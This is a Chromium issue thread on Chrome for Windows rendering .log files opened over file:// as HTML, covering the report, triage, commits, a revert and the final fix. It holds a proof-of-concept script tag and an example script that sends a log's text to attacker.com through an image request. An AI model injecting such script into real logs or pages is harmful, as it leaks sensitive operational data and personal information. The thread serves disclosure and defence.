New issue
Advanced search Search tips
Starred by 4 users

Issue metadata

Status: Fixed
Owner:
Closed: Jan 2018
Cc:
Components:
EstimatedDays: ----
NextAction: ----
OS: Windows
Pri: 2
Type: Bug-Security

Blocking:
issue 808137



Sign in to add a comment

Security: Google Chrome renders text file as HTML under file:// protocol

Reported by blastxi...@gmail.com, Oct 24 2017

Issue description

This template is ONLY for reporting security bugs. If you are reporting a
Download Protection Bypass bug, please use the "Security - Download
Protection" template. For all other reports, please use a different
template.

Please READ THIS FAQ before filing a bug: https://chromium.googlesource.com
/chromium/src/+/master/docs/security/faq.md

Please see the following link for instructions on filing security bugs:
https://www.chromium.org/Home/chromium-security/reporting-security-bugs

NOTE: Security bugs are normally made public once a fix has been widely
deployed.

VULNERABILITY DETAILS
Google Chrome improperly rendered text file into html file under file:// protocol

VERSION
Chrome Version: 62.0.3202.62 Stable
Operating System: Windows 10 x64 Simplified Chinese

REPRODUCTION CASE
Prepare:
Create a .log file on remote / local disk which content is :
<script>alert(location.href)</script>

Chrome will render this .log (plain text) file into a html file, then execute the script under the local file scope (under file:///). Could this lead to some problems like Privilege Escalation or Information Leaks.

Open URI in Brave Browser:
(1) You can open for example c:\test.log by typing file:///c:/test.log in the address bar.
(2) Or, remotely with UNC path: file://127.0.0.1/c$/test.log or \\127.0.0.1\C$\test.log 
(3) Or you can make a web-page, with content like 
<a href="file://127.0.0.1/c$/inetpub/wwwroot/install.log">asd</a>
visit this page, and right click on the link, choose "Open in another tab"


FOR CRASHES, PLEASE INCLUDE THE FOLLOWING ADDITIONAL INFORMATION
Type of crash: No
Crash State: -
Client ID (if relevant): -

 
20171024143402.png
4.9 KB View Download
20171024143357.png
7.4 KB View Download

Comment 1 Deleted

Looks like MIME sniffing related, local file doesn't has a MIME, .txt/.text file(found them in kSecondaryMappings) will be treated as text/plain and .log/.ini/etc will depends on the content of the file. Would you like to add .log/.ini extension into the list?
Or let any other file extensions on local drive which isn't in the list to display in text/plain?
Labels: Needs-Feedback
Summary: Security: Google Chrome renders text file as html under file:// protocol (was: Security: Google Chrome improperly rendered text file into html file under file:// protocol)
This is basically the same thing as  Issue 645771  (See  https://crbug.com/645771#c1 )-- it relies on the mistaken assumption that executing script in a local file represents a security problem. 

The attacker can run JavaScript from the local file, but (unlike in, say, IE5) that script doesn't have access to anything of significant value. It could interrogate its own URL which could, for instance, reveal the path to the user's download folder (and thus, likely, their login name) but this doesn't appear especially consequential. 

If we wanted to close this down, we could require that local files opened be treated as text/plain if they don't have a proper HTML file type, but this would have some compat impact.

Can you come up with a specific attack you believe sniffing of the HTML content type enables?
Yes, I agree it may not be a severe one. The background of this report is when I am checking the log file and accidentally found Chrome rendered my log file. 

I think this could potentially be a security problem because the log file was generated by a web service and may include of some user input. My concern is that some bad guy could use this to get content of my log file or where I am actually store the log. 
Project Member

Comment 6 by sheriffbot@chromium.org, Oct 25 2017

Cc: elawrence@chromium.org
Labels: -Needs-Feedback
Thank you for providing more feedback. Adding requester "elawrence@chromium.org" to the cc list and removing "Needs-Feedback" label.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot
Cc: eroman@chromium.org
Components: Internals>Network
Status: Untriaged (was: Unconfirmed)
In addition to the fact that script running in a FILE has limited permission, Chrome does not permit web content (e.g. served by HTTP/HTTPS) to navigate to a FILE URI, meaning it would be difficult for a web-based attacker to attempt to induce you to load this page.

Having said that, adding .log to kSecondaryMappings sounds reasonable to me.

eroman@, WDYT? 

Comment 8 by eroman@chromium.org, Oct 25 2017

A few quick comments (not able to test right now):

 * The report is from Brave, but presumably this repros the same in Chrome
 * Being able to run script in the file:// case is low severity at best
 * Glancing at the code for mime sniffer, it looks like for http[s]:// we should confirm that such a log file served with text/plain does not get interpreted as html (I believe it will at most sniff text/plain to binary so should not be vulnerable to this [1])
 * I do agree with the reporter that this shouldn't be HTML
 * Adding to kSecondaryMappings doesn't seem like the right fix; I imagine the right fix is in mime sniffer, although not sure whether the current behavior was an intentional policy or not.

https://cs.chromium.org/chromium/src/net/base/mime_sniffer.cc?type=cs&sq=package:chromium&l=795
Yes, Chrome reproduces this as well.

It generally seems desirable that Chrome would sniff HTML from an unknown file type. 

Chrome certainly should not render HTML in a text file served from HTTP/HTTPS with a Content-Type of "text/plain" as that's a significant vulnerability. The comment at [1] suggests that the code behaves properly.

The unwanted behavior described in this bug is removed when the .log file extension is associated with the "text/plain" MIME type via the registry:

   Windows Registry Editor Version 5.00

   [HKEY_CLASSES_ROOT\.log]
   @=""
   "Content Type"="text/plain"

This suggests to me that updating kSecondaryMappings would be an effective resolution to this issue, allowing for the possibility that a user who /wants/ HTML log files (for whatever reason) can continue to do so by using text/html as the registry-declared Content-Type. 

[1] https://cs.chromium.org/chromium/src/net/base/mime_sniffer.cc?l=781&rcl=faa13f8c8516dd027f5fc5a6ba984099ff330d05
Cc: tsepez@chromium.org mmenke@chromium.org
Labels: Security_Impact-Stable Security_Severity-Low M-63 OS-Windows Pri-2
Status: Available (was: Untriaged)
Summary: Security: Google Chrome renders text file as HTML under file:// protocol (was: Security: Google Chrome renders text file as html under file:// protocol)
For what it's worth, I can't reproduce this on Linux; the HTML renders as plain text. But I did reproduce it on Windows.

I can imagine the following attack scenario: An attacker manages to perform log injection on some service somewhere. The service's operator(s) download the log file, and for whatever reason they open it in Chrome on Windows. The attacker can then exfiltrate the log's contents, which may contain sensitive operational data, user PII, or whatever else.

```
<script>
const img = document.createElement("img")
img.src = "https://attacker.com/kitten.jpg?" + encodeURIComponent(document.body.innerText)
</script>
```

A number of things have to have gone wrong first by the time Chrome gets involved. But, still, it'd be good to fix this, especially if the fix is easy as described in #9.

But I don't see a security bug in Chrome, per se. Keeping the Type=Bug-Security for the time being, in case I'm wrong.

+mmenke for ownership of some code in content/browser/loader/mime_sniffing_resource_handler.cc and ./net/base/mime_sniffer.cc, and tsepez for general expertise.
Cc: asanka@chromium.org
[+asanka]

I don't have strong opinions here, and am not too concerned about this behavior - rendering file URLs is ultimately a weird and hackish thing, whatever we decide to do.

We could disable sniffing of local files for HTML/JS, and just use the OS associations and hard-coded file extension maps.  We could even remove using OS associations (Though that would remove the ability to disable running HTML/JS in chrome, which may be a nice security measure, for those sufficiently concerned about file URLs).

If we do decide to change behavior, I'd like to histogram it.  Maybe what percent of file URL users run into cases where the result would be changed?  Just want some idea of how many developers this may effect, as I believe that's the primary use for file URLs, though I could be wrong.  Suppose there's also the PDF viewer.
The addition of file:// scheme to the list of sniffable schemes was to done to mitigate  issue 18342 . Sniffing content for HTML is further restricted to resources whose initial MIME type is one of the unknown types (i.e. empty, 'unknown/unknown', 'application/unknown', '*/*'). This is why mapping .log to any known MIME type mitigates this issue.

I'd propose we increase the restriction on HTML sniffing to exclude file:// resources.

This means that random files won't get sniffed as HTML. For a file:// resource to be considered HTML either the platform should map its current file type to one of the HTML MIME types, or the file should have an extension of .html, .htm, .shtml, .shtm, or .ehtml. The latter set consists of the union of the primary and secondary hardcoded file type mappings for text/html.

This is a bigger hammer than adding .log to the list of secondary mappings, but I'd gently push back at using the secondary mappings as a blacklist for things that shouldn't be considered HTML, since that's going to be a large list.


+1 to not adding to secondary mappings.  So this would just be special magic for text/html (Which, admittedly, is the most problematic type for sniffing)?  I'm fine with that, though adding magic rather than taking it away makes me a bit sad.
Cc: -elawrence@chromium.org
Owner: elawrence@chromium.org
Status: Started (was: Available)
Re #13: We already had "special magic" for text/html, so the proposal sounds like we'd just use this magic less often?

https://chromium-review.googlesource.com/c/chromium/src/+/751402
#14. Yes. The proposal is to apply magic less often. :)
Project Member

Comment 16 by bugdroid1@chromium.org, Nov 7 2017

The following revision refers to this bug:
  https://chromium.googlesource.com/chromium/src.git/+/3519e867dc606437f804561f889d7ed95b95876a

commit 3519e867dc606437f804561f889d7ed95b95876a
Author: Eric Lawrence <elawrence@chromium.org>
Date: Tue Nov 07 03:21:46 2017

Don't sniff HTML from documents delivered via the file protocol

To reduce attack surface, Chrome should not MIME-sniff to text/html for
any document delivered via the file protocol. This change only impacts
the file protocol (documents served via HTTP/HTTPS/etc are unaffected).

Bug:  777737 
Cq-Include-Trybots: master.tryserver.chromium.android:android_cronet_tester;master.tryserver.chromium.mac:ios-simulator-cronet
Change-Id: I7086454356b8d2d092be9e1bca0f5ff6dd3b62c0
Reviewed-on: https://chromium-review.googlesource.com/751402
Reviewed-by: Ben Wells <benwells@chromium.org>
Reviewed-by: Sylvain Defresne <sdefresne@chromium.org>
Reviewed-by: Achuith Bhandarkar <achuith@chromium.org>
Reviewed-by: Asanka Herath <asanka@chromium.org>
Reviewed-by: Matt Menke <mmenke@chromium.org>
Commit-Queue: Eric Lawrence <elawrence@chromium.org>
Cr-Commit-Position: refs/heads/master@{#514372}
[modify] https://crrev.com/3519e867dc606437f804561f889d7ed95b95876a/chrome/browser/chromeos/login/resource_loader_browsertest.cc
[modify] https://crrev.com/3519e867dc606437f804561f889d7ed95b95876a/chrome/browser/history/redirect_browsertest.cc
[modify] https://crrev.com/3519e867dc606437f804561f889d7ed95b95876a/extensions/browser/api/file_handlers/mime_util_unittest.cc
[modify] https://crrev.com/3519e867dc606437f804561f889d7ed95b95876a/net/base/mime_sniffer.cc
[modify] https://crrev.com/3519e867dc606437f804561f889d7ed95b95876a/net/base/mime_sniffer_unittest.cc

Status: Fixed (was: Started)
Project Member

Comment 18 by sheriffbot@chromium.org, Nov 8 2017

Labels: -Restrict-View-SecurityTeam Restrict-View-SecurityNotify
Wow cool, thanks for your time and the rapid response to this issue & the fix! :)
Labels: -Restrict-View-SecurityNotify allpublic
There's no reason that this Issue needs to be private, and given that the change landed may affect user scenarios, I'm marking it public.
Cc: elawrence@chromium.org
Owner: ----
Status: Available (was: Fixed)
Due to application compatibility concerns with Android WebView (Issue 786150) applications which load HTML from file URIs with no extension, we've reverted this change. In terms of the more scoped fix, the proposal is that sniffing should be allowed only by the WebView codepath.

Per Comment #15 on that bug, "I think you'd just need to add a method to AwResourceDispatcherHostDelegate?  Though that will break once the network service ships, so an integration test is probably a really good idea (Which is something you'll need a WebView person to help you figure out how to do)"



Project Member

Comment 22 by bugdroid1@chromium.org, Nov 27 2017

The following revision refers to this bug:
  https://chromium.googlesource.com/chromium/src.git/+/9afc491d6d64d54bf01f526abcc3d8344d90fa42

commit 9afc491d6d64d54bf01f526abcc3d8344d90fa42
Author: Eric Lawrence <elawrence@chromium.org>
Date: Mon Nov 27 18:43:08 2017

Revert "Don't sniff HTML from documents delivered via the file protocol"

This reverts commit 3519e867dc606437f804561f889d7ed95b95876a.

Reason for revert: crbug.com/786150. Application compatibility for Android WebView applications means we need to allow sniffing on that platform. 

Original change's description:
> Don't sniff HTML from documents delivered via the file protocol
> 
> To reduce attack surface, Chrome should not MIME-sniff to text/html for
> any document delivered via the file protocol. This change only impacts
> the file protocol (documents served via HTTP/HTTPS/etc are unaffected).
> 
> Bug:  777737 
> Cq-Include-Trybots: master.tryserver.chromium.android:android_cronet_tester;master.tryserver.chromium.mac:ios-simulator-cronet
> Change-Id: I7086454356b8d2d092be9e1bca0f5ff6dd3b62c0
> Reviewed-on: https://chromium-review.googlesource.com/751402
> Reviewed-by: Ben Wells <benwells@chromium.org>
> Reviewed-by: Sylvain Defresne <sdefresne@chromium.org>
> Reviewed-by: Achuith Bhandarkar <achuith@chromium.org>
> Reviewed-by: Asanka Herath <asanka@chromium.org>
> Reviewed-by: Matt Menke <mmenke@chromium.org>
> Commit-Queue: Eric Lawrence <elawrence@chromium.org>
> Cr-Commit-Position: refs/heads/master@{#514372}

TBR=achuith@chromium.org,benwells@chromium.org,mmenke@chromium.org,sdefresne@chromium.org,asanka@chromium.org,elawrence@chromium.org

# Not skipping CQ checks because original CL landed > 1 day ago.

Bug:  777737 
Change-Id: I864ae060ce3277d41ea257ae75e0b80c51f3ea98
Cq-Include-Trybots: master.tryserver.chromium.android:android_cronet_tester;master.tryserver.chromium.mac:ios-simulator-cronet
Reviewed-on: https://chromium-review.googlesource.com/790790
Reviewed-by: Eric Lawrence <elawrence@chromium.org>
Reviewed-by: Matt Menke <mmenke@chromium.org>
Commit-Queue: Eric Lawrence <elawrence@chromium.org>
Cr-Commit-Position: refs/heads/master@{#519347}
[modify] https://crrev.com/9afc491d6d64d54bf01f526abcc3d8344d90fa42/chrome/browser/chromeos/login/resource_loader_browsertest.cc
[modify] https://crrev.com/9afc491d6d64d54bf01f526abcc3d8344d90fa42/chrome/browser/history/redirect_browsertest.cc
[modify] https://crrev.com/9afc491d6d64d54bf01f526abcc3d8344d90fa42/extensions/browser/api/file_handlers/mime_util_unittest.cc
[modify] https://crrev.com/9afc491d6d64d54bf01f526abcc3d8344d90fa42/net/base/mime_sniffer.cc
[modify] https://crrev.com/9afc491d6d64d54bf01f526abcc3d8344d90fa42/net/base/mime_sniffer_unittest.cc

Comment 23 by torne@chromium.org, Nov 28 2017

Cc: torne@chromium.org
Additional note re Android WebView behaviour here: if there's a straightforward way to make this a quirk that's configured at runtime then we can limit this to only applications which target an existing Android SDK version, and disable the sniffing for apps which target future versions (with a note in the docs about this change in behaviour). This doesn't guarantee we can ever actually remove the quirk, but it does limit the exposure to applications going forward. The WebView team can help with this.
Cc: -mmenke@chromium.org
Owner: mmenke@chromium.org
Status: Assigned (was: Available)
I plan to tackle this next month.
Project Member

Comment 25 by sheriffbot@chromium.org, Jan 25 2018

Labels: -M-63 M-64
Project Member

Comment 26 by bugdroid1@chromium.org, Jan 31 2018

The following revision refers to this bug:
  https://chromium.googlesource.com/chromium/src.git/+/fcbb1bd7fd6a78847d95a422f10ca5908c02f521

commit fcbb1bd7fd6a78847d95a422f10ca5908c02f521
Author: Matt Menke <mmenke@chromium.org>
Date: Wed Jan 31 21:53:12 2018

Don't sniff file URLs for HTML.

If a file with an extension other than html / htm is downloaded, and
Chrome was used to open the file, it could sniff it as being HTML,
which seems unexpected.

The new logic is not applied to WebView, as existing consumers may
depend on the legacy behavior.

Bug:  777737 
Cq-Include-Trybots: master.tryserver.chromium.linux:linux_mojo
Change-Id: Iaa72004a3a8de2df99f154c95014e4f6351ce532
Reviewed-on: https://chromium-review.googlesource.com/853036
Commit-Queue: Matt Menke <mmenke@chromium.org>
Reviewed-by: Jacob Dufault <jdufault@chromium.org>
Reviewed-by: Richard Coles <torne@chromium.org>
Reviewed-by: Ben Wells <benwells@chromium.org>
Reviewed-by: Daichi Hirono <hirono@chromium.org>
Reviewed-by: Sylvain Defresne <sdefresne@chromium.org>
Reviewed-by: John Abd-El-Malek <jam@chromium.org>
Reviewed-by: Asanka Herath <asanka@chromium.org>
Cr-Commit-Position: refs/heads/master@{#533429}
[modify] https://crrev.com/fcbb1bd7fd6a78847d95a422f10ca5908c02f521/android_webview/browser/aw_content_browser_client.cc
[modify] https://crrev.com/fcbb1bd7fd6a78847d95a422f10ca5908c02f521/android_webview/browser/aw_content_browser_client.h
[modify] https://crrev.com/fcbb1bd7fd6a78847d95a422f10ca5908c02f521/chrome/browser/chromeos/login/resource_loader_browsertest.cc
[modify] https://crrev.com/fcbb1bd7fd6a78847d95a422f10ca5908c02f521/chrome/browser/history/redirect_browsertest.cc
[modify] https://crrev.com/fcbb1bd7fd6a78847d95a422f10ca5908c02f521/chrome/common/extensions/extension_unittest.cc
[modify] https://crrev.com/fcbb1bd7fd6a78847d95a422f10ca5908c02f521/components/drive/chromeos/file_cache.cc
[modify] https://crrev.com/fcbb1bd7fd6a78847d95a422f10ca5908c02f521/content/browser/file_url_loader_factory.cc
[modify] https://crrev.com/fcbb1bd7fd6a78847d95a422f10ca5908c02f521/content/browser/loader/mime_sniffing_resource_handler.cc
[modify] https://crrev.com/fcbb1bd7fd6a78847d95a422f10ca5908c02f521/content/browser/loader/resource_dispatcher_host_browsertest.cc
[modify] https://crrev.com/fcbb1bd7fd6a78847d95a422f10ca5908c02f521/content/public/browser/content_browser_client.cc
[modify] https://crrev.com/fcbb1bd7fd6a78847d95a422f10ca5908c02f521/content/public/browser/content_browser_client.h
[add] https://crrev.com/fcbb1bd7fd6a78847d95a422f10ca5908c02f521/content/test/data/content-sniffer-test5.not-html
[modify] https://crrev.com/fcbb1bd7fd6a78847d95a422f10ca5908c02f521/extensions/browser/api/file_handlers/mime_util.cc
[modify] https://crrev.com/fcbb1bd7fd6a78847d95a422f10ca5908c02f521/extensions/browser/api/file_handlers/mime_util_unittest.cc
[modify] https://crrev.com/fcbb1bd7fd6a78847d95a422f10ca5908c02f521/net/base/mime_sniffer.cc
[modify] https://crrev.com/fcbb1bd7fd6a78847d95a422f10ca5908c02f521/net/base/mime_sniffer.h
[modify] https://crrev.com/fcbb1bd7fd6a78847d95a422f10ca5908c02f521/net/base/mime_sniffer_fuzzer.cc
[modify] https://crrev.com/fcbb1bd7fd6a78847d95a422f10ca5908c02f521/net/base/mime_sniffer_unittest.cc
[modify] https://crrev.com/fcbb1bd7fd6a78847d95a422f10ca5908c02f521/services/network/url_loader.cc

Status: Fixed (was: Assigned)
Going to mark this as fixed, but there's a significantly higher than zero chance this will need to be reverted in a few weeks due to some other consumer relying on the old behavior.
Blocking: 808137
Filed  issue 808137  to track disallowing this for webview apps that target future OS versions as well.
Labels: reward-topanel
Labels: -reward-topanel reward-0
Thanks for the report blastxiang@! The Chrome VRP panel looked at this and I'm afraid they declined to award. Cheers!
Labels: -M-64 M-66
Labels: Release-0-M66
Labels: CVE-2018-6110
Labels: CVE_description-missing
Cc: susan.boorgula@chromium.org
 Issue 837920  has been merged into this issue.

Sign in to add a comment